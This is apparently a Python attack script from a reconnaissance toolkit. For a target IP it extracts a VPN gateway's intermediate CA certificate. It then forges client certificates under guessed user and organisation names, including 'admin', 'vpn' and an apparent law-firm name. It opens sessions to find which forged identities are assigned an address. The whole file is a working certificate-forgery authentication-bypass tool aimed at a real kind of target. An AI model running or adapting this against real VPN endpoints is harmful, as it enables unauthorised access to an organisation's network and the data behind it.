import sys
sys.path.insert(0, "/root/recon")
import cp_oracle as co

ip = sys.argv[1]
ders, _ = co.get_ica(ip)
if len(ders) < 2:
    print("%s NOCHAIN" % ip)
    sys.exit()
ica = ders[1]
subj = co.x509.load_der_x509_certificate(ica).subject
cn_ica = ""
for a in subj:
    if a.oid == co.NameOID.COMMON_NAME:
        cn_ica = a.value

users = ["Ver-Beek-law", "ver-beek-law", "admin", "administrator", "user", "vpn", "smp_portals", cn_ica]
orgs = ["global", "SMC User", "smp_portals", "Ver-Beek-law"]
seen = set()
for u in users:
    for o in orgs:
        if not u:
            continue
        name = co.x509.Name([
            co.x509.NameAttribute(co.NameOID.ORGANIZATION_NAME, o, _type=co._ASN1Type.PrintableString),
            co.x509.NameAttribute(co.NameOID.ORGANIZATIONAL_UNIT_NAME, "users", _type=co._ASN1Type.PrintableString),
            co.x509.NameAttribute(co.NameOID.COMMON_NAME, u, _type=co._ASN1Type.PrintableString)])
        key = (u, o)
        if key in seen:
            continue
        seen.add(key)
        f = co.forge(u, ica, o, name, [ica])
        s = co.Session(ip, u, timeout=5.0)
        r = s.run(f, with_hash=False)
        s.close()
        txt = " | ".join(n[2:] for n in r["notes"] if n.startswith("t:"))
        flag = "" if "unknown" in txt and not r["ip_assigned"] else "  <== DIFF"
        if flag or r["ip_assigned"]:
            print("%-22s %-14s p1=%s ip=%s %s%s" % (u, o, r["phase1"], r["ip_assigned"], txt[:90], flag), flush=True)
print("done", ip, len(seen), "combos")
